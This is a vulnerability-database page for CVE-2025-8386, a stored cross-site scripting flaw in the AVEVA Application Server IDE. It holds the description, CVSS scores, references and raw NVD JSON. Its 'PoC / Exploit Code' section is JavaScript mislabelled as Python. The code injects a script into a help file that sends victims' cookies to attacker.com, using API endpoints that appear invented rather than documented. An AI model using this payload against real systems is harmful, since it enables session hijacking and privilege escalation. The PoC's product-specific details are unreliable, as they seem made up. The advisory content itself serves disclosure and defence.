CVE-2025-8386

Description

The vulnerability, if exploited, could allow an authenticated miscreant (with privilege of "aaConfigTools") to tamper with App Objects' help files and persist a cross-site scripting (XSS) injection that when executed by a victim user, can result in horizontal or vertical escalation of privileges. The vulnerability can only be exploited during config-time operations within the IDE component of Application Server. Run-time components and operations are not affected.

CVSS Details

CVSS Score

6.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L

Configurations (Affected Products)

No configuration data available.

AVEVA Application Server (版本待官方确认)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-8386 Storage XSS PoC
// Target: AVEVA Application Server IDE Component
// Attack Vector: Modify App Objects help files via aaConfigTools privilege

const axios = require('axios');

async function exploitXSS() {
  const target = 'https://[TARGET_SERVER]/AVEVA/AppServer/';
  const attackerToken = '[ATTACKER_TOKEN_WITH_aaConfigTools]';
  
  // Step 1: Authenticate and obtain session
  const authResponse = await axios.post(target + 'api/auth/login', {
    username: '[ATTACKER_USERNAME]',
    password: '[ATTACKER_PASSWORD]'
  });
  
  // Step 2: Access IDE component and navigate to App Objects help files
  const helpFileId = '[HELP_FILE_ID]';
  
  // Step 3: Inject malicious XSS payload into help file
  const xssPayload = `<script>
    fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie))
  </script>`;
  
  await axios.put(target + `api/objects/help/${helpFileId}`, {
    content: xssPayload,
    contentType: 'text/html'
  }, {
    headers: { 'Authorization': `Bearer ${attackerToken}` }
  });
  
  console.log('[+] XSS payload injected successfully');
  console.log('[+] Payload will execute when victim views the help file');
}

exploitXSS().catch(console.error);

// Note: This PoC demonstrates the vulnerability concept.
// Actual exploitation requires valid aaConfigTools privileges.
// Target: AVEVA Application Server IDE Component
// Impact: Horizontal/vertical privilege escalation via stored XSS

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-8386
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-8386
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-8386/
[4] VulDB https://vuldb.com/cve/CVE-2025-8386
[5] https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-317-02.json
[6] https://www.aveva.com/content/dam/aveva/documents/support/cyber-security-updates/SecurityBulletin-AVEVA-2025-005.pdf
[7] https://www.cisa.gov/news-events/ics-advisories/icsa-25-317-02

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-8386", "sourceIdentifier": "[email protected]", "published": "2025-11-15T00:15:48.290", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The vulnerability, if exploited, could allow an authenticated miscreant \n(with privilege of \"aaConfigTools\") to tamper with App Objects' help \nfiles and persist a cross-site scripting (XSS) injection that when \nexecuted by a victim user, can result in horizontal or vertical \nescalation of privileges. The vulnerability can only be exploited during\n config-time operations within the IDE component of Application Server. \nRun-time components and operations are not affected."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.1, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-317-02.json", "source": "[email protected]"}, {"url": "https://www.aveva.com/content/dam/aveva/documents/support/cyber-security-updates/SecurityBulletin-AVEVA-2025-005.pdf", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-317-02", "source": "[email protected]"}]}}